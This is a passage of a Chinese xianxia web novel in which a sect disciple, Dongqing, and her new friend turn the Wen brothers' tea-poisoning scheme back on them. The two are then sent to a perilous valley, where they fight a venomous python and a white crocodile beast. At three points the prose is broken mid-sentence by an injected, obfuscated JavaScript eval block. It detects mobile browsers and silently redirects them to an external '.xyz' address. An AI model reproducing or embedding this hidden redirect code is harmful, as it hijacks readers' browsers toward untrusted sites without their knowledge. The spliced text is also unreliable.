冬青随意踏上洞壁旁一朵石莲雕台,宗门弟子称其为莲花飞阶,她一站上去,飞阶立刻泛起暖黄色的光晕,托着她腾空而起。 “去找识海类的书。” 莲花飞阶闪了一下,倏地动了起来,带着冬青飞到了五层。 她轻轻踏上五层的木质地板,入目是沿着山壁而建的琳琅满目的书籍。为了保护书不被破坏,藏经阁每本书里都夹着一张符箓,每当有人将手放到一本书面前,那书便会自动飞出来,稳稳悬停在她面前。 冬青从第一本书开始看起。 偌大的山体中,只有烛火燃烧的毕剥声和书页间摩擦的声音。 冬青长这么大,能接触到书的次数寥寥无几,幼时闻家兄弟上学堂,她只有提前一个晚上躲在树上,才能偷听到先生授课。 所以冬青被紫荷师姐收为杂役后,一有时间便偷偷溜到藏经阁内,如饥似渴的汲取着知识,藏经阁的书汗牛充栋,冬青从第一层看起,到如今也只看到第二层而已。 连续看了五六本书后,书页上的字渐渐重影模糊,冬青索性将书先放回去,仰躺在冰凉地板上,用手肘盖上了眼睛。 一个感官封闭,其余四个感官便敏感起来。冬青刚躺不久,便听到盘龙八弯处传来阵阵脚步声。 她一骨碌坐起身来,四下寻找隐蔽之处,可偌大的藏经阁,竟无一处是可以藏身的。 脚步声越来越近,交谈声模糊地飘进冬青耳朵里。 “果真有这种配方?” “保真,我亲耳听内门师兄说的!” “我们这么做,不会……” “放心吧,天知地知,你知我知,不会有旁人知晓的。” 这声音冬青越听越耳熟,直到声音渐渐清晰起来,她才恍然反应过来。 闻向舟和闻向度? 这两个人又憋什么坏水呢? 她趴在四层边缘,探出半张脸,一双眼落在闻氏兄弟身上,见那两人踏上莲花飞阶,连忙站起身来。 她藏在山体折角处,屏息凝神,心里祈祷着闻氏兄弟不要发现,不然又免不了一场冲突。 “到了。”清晰的脚步声如在耳畔。 完了,冬青心道,闻氏兄弟也上了五层,在对侧收录丹药的地方,只要他们一回头,便能看到她。 正当冬青想要悄悄溜走时,肩膀猛地一痛,一颗圆滚的丹药从旁袭来砸在她肩上,她吃痛一退,慌乱中伸手接住了要落地的丹药。 她向丹药袭来的方向看去,只见一个脑袋从一侧身体中探出来,是个梳着马尾编着小辫的姑娘。 那姑娘见冬青看过来,向她招了招手。 她见冬青没动,似有些急躁,更用力的挥了挥手,示意她到那边去。 冬青瞥了一眼闻氏兄弟,不再犹豫,提起衣摆猫腰飞快的闪到了那姑娘的位置。 那姑娘藏在书架后面,见她过来,连忙侧身让开一个人的身位,拉着她走进了一个狭窄的通道。 冬青头一次知道,原来藏经阁在还隐藏着这样的小通道。 两人躲在书架后面,将经书扒开一个缝隙,观察着闻家兄弟。 闻向度踩着梯子翻找着,忽然向闻向舟招了招手,“快看,我找到了!” 正当冬青为看不清闻氏兄弟打什么主意而发愁时,身旁的姑娘从腰袋里掏出一个透明圆片,她轻声说,“这是个法器,叫千里眼,戴在眼睛上远可观千里。” 冬青立刻凑上前看,只见圆片里,闻氏兄弟手中竹简上的字清晰可见。 她低声念了出来,“取鬼葵子、天目、还有什么……挡住了,练成丹药,可使人浑身瘙痒,面部生疮,溃烂无解。” 冬青把千里眼摘下,眼神逐渐冰冷下来。 这肯定是闻氏兄弟为了报复她想的阴损法子,两人不敢直接置她于死地,便想让她生不如死。 身旁的姑娘见她神色冷峻,拿过千里眼一看,登时火冒三丈,“好你个闻老大闻老二,我说平日里脑袋空空的人怎么有闲心跑来藏经阁了,我就知道他们放不出什么好屁!” 这话算是说到冬青心坎里了,她拉住扬言要去暴打闻氏兄弟的姑娘,低声道,“既然他们要害人,不如以彼之道还施彼身。” 那姑娘闻言双眼一亮,狠狠点了点头。 “走,我带你出去。” 两人一路沿着狭长的通道,走了不知多久,忽然前方传来光亮,拐过一弯后洞口天光大盛,清晨的雾气裹挟着湿气钻入鼻腔,冬青这才知道,已经天亮了。 那姑娘一出山洞,便夸张的长舒了一口气,“憋死我了!” 冬青看着这个动如脱兔的姑娘,道了谢,“多谢。” “嗐,小事儿!”那姑娘穿着外门弟子的服饰,豪爽的伸出手,“我叫柳又青,你可以叫我红豆。” 姓柳?冬青记得,北诏还有个丹修世家,就是姓柳。 据说柳家炼丹术传女性后代居多,因此柳家女子的夫婿大多入赘,而且子嗣无论男女都姓柳。柳家家主柳兰瑛还曾多次拜访闻家,冬青还曾误打误撞见过几次,不过印象不深,只记得是位不怒自威的女子。 冬青伸手轻轻回握,“红豆?” 柳又青杏眼眯起,粲然一笑,她解释道,“叫红豆是因为我幼时极爱吃红豆,所以我娘干脆唤我小名为红豆,不过可能是吃太多了,现在一吃红豆就起疹子。” 她狡黠地吐了吐舌头,问,“你叫什么名字?” “冬青。” “冬青,”柳又青咂摸着这两个字,“真好听的名字。” 冬青嘴角扬起一抹极淡的笑意,她问道,“这怎么有条路?” 洞口处还有块不知猴年马月的龟裂的木头板子,上面龙飞凤舞的写着四个大字“别有洞天”。 “听说常有懒怠的弟子,因为不想用功所以挖了这条路躲授课先生查岗。”柳又青拍了拍胸脯,扬起下巴,“此等妙处被我发现了。” 她追问,“我方才看你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362853|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见闻家兄弟就要躲,你跟他俩什么关系?” “我……”冬青斟酌道,“之前用豆谷花使他们二人致敏,好几日没下来床,他们定然怀恨在心。” 冬青声音越来越小,因为对面柳又青的眼睛越来越亮,说到最后,她干脆捧腹大笑起来,“我还说哪位神人替天行道,原来那位义士是你啊!痛快!” 她擦去眼角笑出的泪,一把拉起冬青的手,“我早就看他们二人不爽了,你既跟他二人有仇,便是我柳又青的朋友,快说,你刚才想了什么法子,什么以彼之道还施彼身?” 冬青凑近,对她耳语道出了自己的计划,随后冷笑一声,“想必他们是冲我来的,届时可能还需要你配合一下。” 二人一拍即合,“成!就这么定了!” 后山草木葳蕤,没有修筑上下山的石阶,齐腰高的杂草中间有一条被人踏出来的小径。 柳又青熟稔的拨开杂草沿小径下山,冬青跟在她后面缓步走着,她熬了一夜,加上一抬头看见前面姑娘晃动的小辫,突然感觉有些眩晕。 她盍眼,吁出一口带着颤音的浊气,不知不觉放慢了脚步。 身后脚步声渐渐轻下去,柳又青回头一看,冬青垂着头,一手撑在树干上,已经被落出好远了。 她连忙折返回去,搀起冬青的胳膊,“你怎么了?” “无妨,”冬青不动声色地把胳膊从她手里抽出,“只是一夜未睡,有些乏了而已。” 柳又青手指微蜷,收回了手,她从腰袋里拿出一个小瓶,从中取出一颗淡青色的丹药递到她嘴边,“这是提神醒脑的丹药,你服下,应当会缓解些头晕不适。” 冬青抿了下唇,没动。 柳又青见她迟疑,便又倒出一颗,当着她的面毫不犹豫地吞了下去。 “你放心,就是寻常丹药。” 冬青被人看穿了自己的戒备,有些愧意,接过丹药服了下去。 丹药入口清凉,丝丝凉意沿着鼻腔上涌至头顶,眩晕之感确实有所好转。 “多谢。” “冬青,你话真少。”柳又青又重新挽起冬青的胳膊,蹦跳道,“正好我话多,正愁没人听呢。” 雾气渐退,晨光透过树叶间的缝隙透射下来,在地上映出点点浮动的光斑。 一路上柳又青像只欢脱的雀儿一样叽叽喳喳说个没完,从天南海北说到鸟兽鱼虫,冬青不时“嗯”一声应着,两人就这样你十句我一句地从后山翻回了竹居。 “哎!哎!有人来了,你快躲躲!”无相揪着狐狸毛把池南叫起,拉着他躲到了花棚下面。 柳又青毫不见外地推开竹居的门,把冬青扶进来,她打量道,“这不是紫荷师姐的住处吗?” “嗯,我在这里扫地。”冬青跌坐在石凳上,抄起桌上的茶杯将杯底剩下的水一饮而尽。 铛—— 突然,一声厚重悠长的钟声自山顶传来。柳又青一个激灵跳起来,“完蛋了,早课要迟到了!” 她胡乱在腰袋里掏了一把,拿出一个精巧的铃铛塞进冬青手里,飞快嘱咐道,“这是传音铃,计划开始的时候一定记得叫我!” 话音未落,人已风风火火冲出院去。 蹲在花圃里的池南和无相面面相觑,“什么计划?” 8. 第 8 章 冬青睁开眼睛,她起身支起窗棂,带着湿气的风从缝隙里涌进,吹动檀木案上摊开的御物心法,泛黄的书页在风中哗哗作响。 日影晕在云层后,她抬头望了一眼,“已经辰时了。” 本只是想闭目养神一株香的时间,没成想再一睁眼竟已经过去了一个时辰了。 她急忙穿好衣裳推开门,熟门熟路地从花圃中把无相和池南摇醒。 “我昨晚翻看了一些识海古籍,有些心得。”晨光透过云层,在她睫羽上浮动,“我想再去识海里看看。” 无相打了个哈欠,睡眼惺忪地妥协,“走吧。” 于是冬青把二人纳入识海里,这次识海里不再空无一物,浅水中赫然出现了整个竹居,虽简陋,却已初具形貌。 远处仍是一片浓墨般的漆黑,但近处歪斜的竹篱、檐角风铃的虚影都依稀可辨。 “妙啊!”困意瞬间烟消云散,无相惊喜地看着冬青,赞叹道,“小冬青,你进步飞快啊!” 冬青蹲下身,捡起一块花圃里的石头。 外界竹居的花圃里的土上铺满了保湿用的鹅卵石,而识海中花圃的鹅卵石只有那么一两块,可怜巴巴地半浸在水里。花也只有零星几朵,且都蔫头搭脑,无甚生机。 冬青不满意,“还差得远。” “短短几天内能感知到这种地步,已经非比寻常了。”无相伸手抚了一下凝着露水的花瓣,皱缩的花瓣在他掌中竟舒展开来,“待到你能随心所欲幻化万物,这第一式,应当就练成了。” 冬青点了点头,她盘坐到水中,闭目凝神。 寂静无声的识海忽如开了一道裂隙一般,外界的声音潺潺流入,冬青静静感受着,很快,识海中产生了风。 “是风!”无相白发被气流掀起,脚下浅水却纹丝未动。 随着冬青呼吸渐深,慢慢地,这片空间中逐渐浮现了更多东西——檐角的风铃、院落的石桌、甚至是竹林里新发的笋尖,都一件件地出现在冬青的识海中。 池南注视着浅水里一动不动的冬青,她面色苍白得能看见皮肤下透青的血管,长而直的睫羽轻轻搭在面颊上,在眼下扫出两弯鸦青的阴影,发丝和衣袍被风撩动,发带尾端垂在水里,随着虚虚实实的微风漾出圈圈涟漪。 忽然,一抹猩红自她鼻下流出。 池南狐尾一抖,连忙扯了扯她的衣袖。 冬青睁开眼睛,撩了一捧身下浅水洗了洗鼻子。 蓦地,她动作一滞,维持着掬水的姿势抬起头来望向识海漆黑的天空。 “有人来了。” 竹林深处,闻向舟手中捏着一小纸包,神色犹疑,他问向一旁的闻向度,“这可行吗?” “怂什么?是她动手在先!”闻向度劈手夺来他手中纸包,径直向前走去,“你不去我去!” “哎!去去去!”闻向舟追上他,“我跟你去就是。” 两人拨开竹枝,遥遥望向竹居。 随后看到了极其诡异的一幕:冬青闭眼盘坐在石凳上,她的那只狐狸蜷在石桌上,而它头顶上方竟悬着一颗红果,果肉正以肉眼可见的速度消失着,就好像被一个看不见的人一口一口地啃噬。 闻向舟瞠目结舌,用手肘捅了捅身旁的闻向度,“哎,你看见没?” “看见了……”闻向度咬牙切齿,“我就说她有真气,从前种种软弱皆是演给我们看的!” “可是……她图什么?” “谁知道她又打着什么如意算盘!”闻向度盯着院落中那抹青,“你忘了吗,从小到大,每次看似得意的是我们,但背后遭了多少罪你不清楚吗?” 闻向舟被他这么一说,竟无端打了个寒战。 确实,只要他们一交锋,看似鲜血淋漓的是冬青,实际上那血里有一部分,是从他们兄弟身上咬下肉带出的血。 “那……还去吗?” “去,怎么不去?”闻向度冷笑,指着石桌上的果子,“你看那是什么?” 闻向舟凝神看去,顿时瞪大了眼睛。 “她疯了?!” 那可是苜岚子炼丹要用的归元果,灵枢苑明令禁止宗门弟子摘果,否则将打入绛茵谷种草药满七日才可放出。 绛茵谷是什么地方啊,越是险恶之地越易出灵药,那片土地上珍稀灵药漫山遍野的长,同样的,毒舌蟒蛇、猛禽野兽也俯仰皆是。 “天助我也,”闻向度笑的阴冷,他吩咐闻向度,“速去请苜岚子来,就说有人偷摘归元果。” 闻向度应了一声,转身向灵枢苑飞奔而去。 闻向舟则抖了抖衣襟,款步至竹居门外,他刚抬起手来,冬青便睁开了眼睛,迅速把无相丢给池南,示意他们先躲起来。 “稀客。”她冷声道。 闻向度推开院门,“许久不见妹妹你了,怎么,我做哥哥的还不能来看看吗?” 他装作无意一瞥,随后夸张惊呼,“呀,这不是归元果吗?妹妹你难道不知道偷摘的下场?” 归元果? 池南听到这个名字心中泛起一丝别样的情绪,归元果对术士来说乃是大补之药,怪不得他近日觉得元神恢复的快了些,原来都仰仗了这果子。 她竟然冒着被惩处的风险给他和无相摘归元果吗? 冬青眸色沉冷,她抱臂站在一旁,“有事直说,你没那么好心。” “你未免把哥哥我想的太坏了。”闻向度撩袍落座,“我都坐到这了,不打算请我喝杯茶再走吗?” 来了。冬青心道。 “成。”她面不改色地拿起两只倒扣的茶杯,走到一旁古井边直接用茶杯舀了两杯井水。 白瓷茶杯被“咚”的一声放在桌上,杯里的井水晃了晃,几滴溅落在灰色的石上,洇出几点深色的水痕。 闻向度袖中攥着已经打开的纸包,他拿起自己面前的茶杯,端到桌下,偷偷将纸包里的粉末倒进水里,然后若无其事的放了回去。 “冬青,”他向花圃方向扬了扬下巴,“你把紫荷师姐的花照顾的不错。” 趁着冬青看向花圃的间隙,他指尖迅速放出一缕真气,飞快地将两人的茶杯对调。 “他他他……”无相被池南按着,他看见闻向度的小动作急得直跳脚,“这小犊子!你按着我做什么?放开我,看我不把他收拾的满地找牙!” 池南却稳坐钓鱼台,声音里似乎夹带些隐晦的笑意,“且看着吧。” 冬青端起那杯加了料的井水,凑到唇边。 闻向度一瞬不瞬的盯着她,正当她欲喝下井水之时,院门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362854|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然传来清脆女声。 “闻向度!” 冬青闻声望去,杯沿又离开了唇瓣。 闻向度气急败坏地站起身来,回头向门口看去,“谁啊!” 就在这时,冬青手腕一翻,神不知鬼不觉地将两人的茶杯换了回来,把没毒的井水握在手里。 “石灵老太喊你过去呢!”柳又青扒在院门外嚷嚷,“早课逃的痛快,现在知道逃了?” “什么?”闻向度满头雾水,今日早课明明不是石灵老太的啊。 那边柳又青不断的催促,这边冬青还没有把水喝下。 “大哥来我这里讨水喝,怎么,水都摆你面前了,大哥却要这样走了吗?”冬青面不改色地端起手中茶杯,一饮而尽。 闻向度心中狂喜,面上却克制的很好,他端起杯子,喝净了杯里的水。他扬起嘴角,“那我便不打扰妹妹了。” 无相藏在一边看完了全程,他畅快大笑,大叫一声,“爽!” 池南斜睇了他一眼,一尾巴抽在他嘴上。 闻向度风风火火地离开以后,柳又青拉开院门走进来,她坐在刚才闻向度的位置上,说道,“我方才来的路上遇到闻向舟了,我看他鬼鬼祟祟的往竹居方向来,直接将他打晕了。” 冬青愣了一下,“打晕了?” “是啊,”柳又青又补充道,“我又照着那害人的方子改良了一剂毒性更猛的,打晕之后塞他嘴里了。” “红豆。”冬青叫了她一声,缓缓竖起了一个大拇指。 猝然间,冬青心里涌上一丝怪异的感觉。 “红豆,你方才说,闻向舟在赶来的路上?” 柳又青点点头,果子啃的咔嚓响,“对啊。” 冬青陡然站起身来,一把抢过她嘴里的果子,拉起人就往外推,“快走!” “啊?”柳又青满头雾水,被冬青推着往前走,她梗着脖子侧头问,“怎么了冬青?” 冬青语速飞快但没有起伏:“闻向舟是去苜岚子那告发我摘归元果去了,我猜用不了一会,苜岚子就要来了。” “什么?!那我怎么能把你一个人扔在这儿!”柳又青跳起来挣脱冬青的桎梏,她抢回果子,上抛了一下又接住,“这果子我吃了就有份,要罚一起罚!” 还没等冬青应话,忽地疾风骤起,草木竹林在狂风中折腰,排山倒海一般向着竹居而来。 冬青和柳又青抬肘挡风,衣袂猎猎翻飞间,一个深青色的身影从高空落到两人面前。 随着那身影慢慢落地,风也逐渐小了下来,桌上的归元果经风席卷,从桌沿掉落到地上,骨碌碌滚到了来人的脚边。 苜岚子弯腰拾起脚边的归元果,一双柳叶眼怒目圆瞪,她举起果子,声音带着怒意,“谁摘的?” “我。”冬青上前一步。 柳又青急了,一个箭步并肩,扬声道,“我吃的!” 冬青无奈闭了闭眼,她深吸了一口气,真不知道这姑娘是傻还是莽,明明能一人受罚,却非要两人同担。 苜岚子厉色道,“知道规矩吗?” 两人齐声:“知道。” 苜岚子用力拂袖而去,惟余冷硬的声音在空中回荡。 “明日一早,到灵枢苑领空蝉花的种子和工具。” 9. 第 9 章 天刚蒙蒙亮,冬青便已经起了,她掬了一捧井水泼在脸上,冰凉的水珠顺着修长的脖颈蜿蜒没入衣领中,驱散了几分残存的困意。 她坐在院中静候柳又青,估摸着她还要一会才能赶来,便先进识海修炼了片刻。 无相如今已经习惯早起了,他揪了一把狐狸毛,问道,“你还不开口?” 池南摇摇头,“找个时机,等没有旁人时,我再好好跟她解释。” 风将一阵叮叮当当的声音送入冬青识海,她睁开眼睛,发现柳又青正往这边走来。 她顶着一双乌黑的眼圈推开院门,冬青这才看清,她身上背着大大小小各色布袋,腰带挂满了冬青叫不出名字的法器,咚叮当声正是这些法器碰撞在一起磕出的轻响。 “哎呦,沉死我了!”柳又青肩臂发力,将背上扛着的一个最大的袋子甩到石桌上,袋子上簌簌而落的细小尘土抖了满桌。 冬青皱起眉头,手作扇状在鼻子前扇了扇,“这是什么?” “咱们这一趟要在绛茵谷待满七日,那里蛇虫鼠蚁多,我昨日特意下山一趟,把我家后院的驱毒虫的草药全拔了。”柳又青打开袋口,一股刺鼻的辛香扑面而来。 “都拔了?”冬青震惊。 柳又青浑不在意地点点头,用绳子把袋口紧紧束好,“只不过没来得及做成香囊,便只能这样扛过来了。” 冬青又指了指她腰间琳琅满目的法器,“这是?” “万一那里有妖兽怎么办,带着给咱俩防身。”她说着,就要摘下一串别在冬青腰间,后者连连摆手拒绝。 她悻悻收回手,“也成,用时再拆。” 浑厚的钟声一如既往的准时敲响,冬青背上一包少的可怜的干粮,跟在柳又青身后前往灵枢苑。 身后传来踩踏草叶的细碎声响,冬青回首看去,只见无相呈吉祥卧姿躺在小红背上,对冬青眨了眨眼睛。 冬青蹙眉,用眼神示意无相,柳又青在前面。 “无妨无妨!”谁知无相毫不在意地挥了挥拂尘,小眼闪着精光,他嘿嘿一笑,“她看不见我。” 冬青扯唇,伸手把无相拍了下去,拎着狐狸后颈把他提到怀里,压低声音道,“别欺负小红。” 池南尾部的毛骤然炸开,他用前爪扒着冬青的衣袖,试图从桎梏中挣脱出去。 怀中狐狸不安分的扭动,冬青轻轻一掌拍在其头顶,顺着脊背抚了抚它的毛发,警告道,“安分些。” 少女冰凉的手顺着脊背轻抚,似有一块凝着水珠的玉石从他后颈一路滑到腰椎,所到之处冰凉的触感久久不散。 奇异之感使池南止不住打了个冷颤,他浑身紧绷,如临大敌,真气不受控制地从周身溢出。 无相立在拂尘上,飘到池南眼前,贱兮兮地向他挑了挑眉。 池南气不打一出来,又挣不开冬青的魔爪,干脆自暴自弃的把头往冬青臂弯间一埋。 青竹的清香钻进鼻腔,沁人心脾,池南刚稍稍放松一些,便猛地抬起头来。 等等,他刚才在干什么! 熟悉了这副躯体,怎么也熟悉了这该死的狐狸做派? 一定是这躯体的本能,一定是! 池南真想给自己一巴掌,他懊恼羞愤地抬起头,冷不防与冬青黑亮的双眼撞了个正着。 “小红?” “咳咳。”无相脸憋得通红,幸灾乐祸看够了,便飘来咳了两声,“小冬青,老夫觉着这小狐狸不舒服,要不放他下来吧。” 冬青垂眸瞥了狐狸一眼,把狐狸放在了装干粮的袋子上面。“待会进谷,我怕它走丢。” 袋子上也比怀里强,池南这么安慰自己,扒着系带趴了下来。 柳又青回头看了眼,顿时双眼放光,“哪里来的小狐狸?” 冬青言简意赅,“捡的。” “我可以摸摸吗?”柳又青倒退着来到池南旁边,五指快速抖动着伸上前。 池南朝她狠狠一龇牙,后者急忙缩回了手。 “看来它不太欢迎我呢。” 冬青“嗯”了一声,“它待人生分。” 正说着,前方雾气骤然散开,灵枢苑三个隽秀的大字刻在一块巨石上,门楼内,走出两个白袍弟子。 “柳又青,冬青,是你们俩吧?”其中一个白袍弟子问。 两人对视一眼,“是。” “这是空蝉花的种子,”另一个白袍弟子给两人分发了瓶装的种子,又给了她们一人一枚铜钱,嘱咐道,“这是乾坤币,里面装着所用工具和种植方书。” 他转身领路,“随我来吧。” 冬青不是第一次来灵枢苑了,但是苑内天地灵气充盈,草药生长极快,因此几乎每月苑内种植的草药都会更换,所以常看常新。 两人跟随白袍弟子走了许久,直到他驻足于一方几乎垂直的陡峭崖边。 空气中浮动着数不胜数的翻着白色荧光的小气泡,柳又青好奇,正欲抬手戳破一个,前方白袍弟子便开口制止了她。 “别碰,这是阵眼。” 柳又青连忙缩回手,耸了耸肩。 白袍弟子抬起手,伸出食指,轻触前方一个浮动的气泡。 一瞬间,狂风骤起,四周气泡次第炸开,冬青连忙闭上眼睛,抬起手臂挡风。 待风减息,冬青慢慢睁开眼睛——山崖不再,取而代之的是一片钟灵毓秀的山谷,巡卫真鸟嗥叫盘旋,丝薄雾气飘荡在谷内,雾气缭绕间,漫山遍野的奇珍异草若隐若现。 两个莲花飞阶从山谷中飘到崖边,停在冬青和柳又青的脚边。 “去吧。”白袍弟子转身离开,“七日后,我会来此出接你们出谷。” 冬青率先踏上飞阶,石莲瓣舒展开来,托着她飘在绛茵谷上方,随后猝然急速下降,冬青不得不蹲下身来,一手按着狐狸,一手撑着莲花底座才得以稳住身形。 莲花飞阶悬停在一棵茂密的树冠上便不肯再往下,这高度对冬青来说实在不太友好,她一时没动。 下一刻,莲花飞阶突然倾斜侧立,冬青只感觉脚下支撑“咻”地一下消失了,整个人失去平衡向下坠落。 “冬青!”柳又青在她身后的飞阶上,单腿发力,毫不犹豫地借着飞阶的力向前跃去。 她放出一线真气缠住冬青的腰把她往自己的方向一拽,冬青被她拦腰抱住的同时放出另一丝真气,如缎带一般紧紧缠住树枝。 两人从茂密的枝叶中砸下,随后被稳稳挂在了半空。 “还好没……”柳又青刚松一口气,话音未落,却见冬青握着一把磨的发亮的匕首,狠狠朝她刺来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362855|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “!”柳又青连忙偏头闭目。 噗呲—— 脑后传来皮肉刺穿的声音,然而疼痛并没有如期而至,柳又青睁开眼,惊愕回头看去。 冬青手还紧紧握着匕首,一条蟒蛇被钉在树上,锋利的尖端稳准的扎在其七寸之处,那蛇扭动了两下,随后身子一软,彻底没了生机。 见此,冬青才用力拔出了匕首。 她用贴身的方巾擦拭匕首,柔软的帕子刚接触到蛇血,便以肉眼的速度滋滋腐蚀。冬青手上动作不停,直到将匕首擦得锃亮才将其妥帖收回腰间。 柳又青松了口气,她放出真气,慢慢放两人落地。 “方才真吓死我了。我还以为你……”柳又青拍了拍衣袍上的灰,转过身来,忽然话音一顿,冲上前攥住冬青的手臂,“你受伤了?” 刚站稳的池南和无相闻声望去。 只见冬青腕骨上赫然出现了一个指甲大的血肉模糊的泡,她垂眸看去,记起方才刺杀蟒蛇时有一滴血溅在了她腕骨上。 她风轻云淡的抹了一下,“无妨。” “什么无妨!这可是毒焰蟒!”柳又青连忙埋头在她的大包小包里翻找,苦寻良久,总算在一个褐色小包深处找到了一个小罐。 她将里面的粉末倒出一点,盖在冬青伤处,“这是柳家独门解毒粉,你放心用,见效很快的。” 火辣的触感从伤处传来,冬青撕下一块布,潦草包扎着。 她咬着布的一头,含糊不清的问道,“我们去?” “待我看看舆图。”柳又青从乾坤币里抽出舆图,细细分辨着她们所在的位置。 舆图显示,他们所在位置乃是整个绛茵谷的最东面,而种植空蝉花的大片空地在绛茵谷的最中间,跋涉过去大概需要大半日的时间。 冬青接过舆图,扫了一眼。“我们现在动身,日落之前应当能赶过去。” 绛茵谷内古木参天,稀薄的阳光穿过常年不散的雾霭与层层枝叶的阻挡照射下来,如一根根金线自华盖间垂落。 因阳光稀少,谷内的空气格外潮湿,走了一段,冬青的鬓发已湿,眉睫间也挂着将凝未凝的水汽。 两人深一脚浅一脚地走着,走到枝叶间金线都已倾斜。 柳又青抹了一把额角的汗,她手撑在膝上,喘息道,“冬青,歇会儿吧。” “嗯。”冬青找了一棵十人环抱不来的巨树,将干粮往地上一丢,靠在树干上闭目养神起来。 柳又青在溪边灌了些水,一屁股坐在冬青旁边,差点坐到池南的尾巴。 她仰起头,刚要畅饮,便被冬青拦下,她疑惑看去,“怎么了冬青?” 冬青松开手,“撒些解毒粉再喝。” “哦对对,还是你思虑周全!”她依言照办,咕嘟灌了几大口后递给冬青。 冬青折了一片铜盆大的叶子,叠成碗状,倒出一些摆在池南脚边。 她饮尽后,起身走到溪边,准备把水袋重新装满。 嘎吱—— 突然,溪流对岸传来枯枝骤然断折的声响。 随后柳又青急切紧张的嘶喊从身后传来。 “冬青!” 冬青抬头看去,一只通体纯白的雪硝鳄目光森然的伏在对岸,金黄的竖瞳正一瞬不瞬的盯着她。 10. 第 10 章 流水潺潺,树叶沙沙,冬青保持着接水的姿势,紧张的盯着对岸的雪硝鳄。 她的衣袂和发带随风轻扬,方才杀过毒焰蟒的匕首悄然出现在掌心。 柳又青动作缓慢的站起身来,从腰袋中抽出一张符箓夹在指间,悄声来到冬青身后。“雪硝鳄的速度很快,我们跑不过它。” 冬青闻言轻轻颔首,握紧了手中匕首,指节因用力而泛白。 “无相,”池南轻声开口,“能化剑吗?” “青天大老爷,剑身在折云宗,我怎么化?”无相躲在他身后,“你若是能现形,我或许可以化成一把虚剑给你用用,但你能吗?” 池南深吸一口气,“不能。” 剑拔弩张之际,对岸的雪硝鳄突然动了,它缓慢地下水,一入水它便毫无阻力一般,一双金黄竖瞳露在水面上,飞速向对岸游来。 冬青和柳又青飞速起身后退,同时后者指间符箓无风自燃,她喝道,“土行,藤笼,起!” 一条条粗如碗口的青藤猝然破土而出,缠上雪硝鳄的四肢。 “快跑,这符困不了它多久!”柳又青抓着冬青拔腿狂奔。 身后传来藤蔓断裂的脆响,雪硝鳄锋利的牙齿眨眼便把藤蔓撕成碎片。它匍匐在地上,如一道白色鬼魅一般紧贴地面疾驰,转瞬便逼近了二人。 池南飞速上树,他调动全身真气,“无相!” 无相拂尘一挥,数枚冰凌一般的光剑浮在池南周身。 他咬牙,以真气推动所有光剑,狠狠朝地面上的雪硝鳄扎去。 一声凄厉无比的嚎叫响彻山谷,雪硝鳄身上赫然出现了数个血洞。 然而光剑只维持了一瞬,便消散了。 冬青惊愕回头,只见被血染红的雪硝鳄动作迟缓了一瞬,森然的双瞳圆瞪,随后发疯了一般向两人冲来。 白色身躯如巨石一般冲来,冬青和柳又青被迫扑向两个方向。 雪硝鳄迟疑了一瞬,追着冬青而去。 叶隙间那点光不知道什么时候消失了,冬青视线受限,只好朝着一个方向埋头狂奔。 跑了不知多久,冬青喉间发出不堪重负的嗬嗬声,突然,她脚下一个急刹,鼻尖堪堪停在石壁前。 没有路了! 身后传来野兽喉间的低吟,冬青猛然回身,雪硝鳄的血盆大口正滴着腥臭的涎水,竖瞳里倒映着她惊惧的表情。 冬青双手紧握匕首,在雪硝鳄张开巨口的同时蹬着石壁猛地跃起,匕首狠狠扎在雪硝鳄的左眼。 “噗呲——” 黏腻的液体溅了冬青满身,雪硝鳄在剧痛之中疯狂挣动,它眼露凶光,锋利的牙齿咬向冬青的腰侧。 千钧一发之际,池南裹着一身真气从一侧冲来,狠狠撞向雪硝鳄的侧脸。 铁甲般坚硬的兽首偏了寸余,滴血的獠牙擦着冬青侧腰而过,咬住她身侧的衣物,猛地将其甩了出去。 冬青脊背“咚”的一声撞上树干,随后身子如枯叶般绵软坠地。 剧烈的冲击使她眼冒金星,她颤抖着强撑起上半身,腰侧衣物瞬间被染成深红,她喘了两口粗气,哇地呛了一口鲜血出来。 雪硝鳄眼睛上还插着那把匕首,缓缓转身向着冬青而去。 “冬青!”池南顾不得其他,从地上一骨碌爬起,向着她被甩出去的方向飞奔。 剧痛使冬青浑身战栗,冷汗顺着额角不断下流,她用手背抹了下颌的血,抬眸盯着逐渐逼近的雪硝鳄。 正当冬青以为自己难逃一死,池南超负荷地汇聚真气之时,令两人都意想不到的事情发生了。 雪硝鳄张开的深渊巨口忽地僵在半空,它鼻尖翕动,随后闭上嘴巴,那只独眼里似乎满是惊惧与难以置信,它缓缓后退两步,竟对着冬青伏下身去。 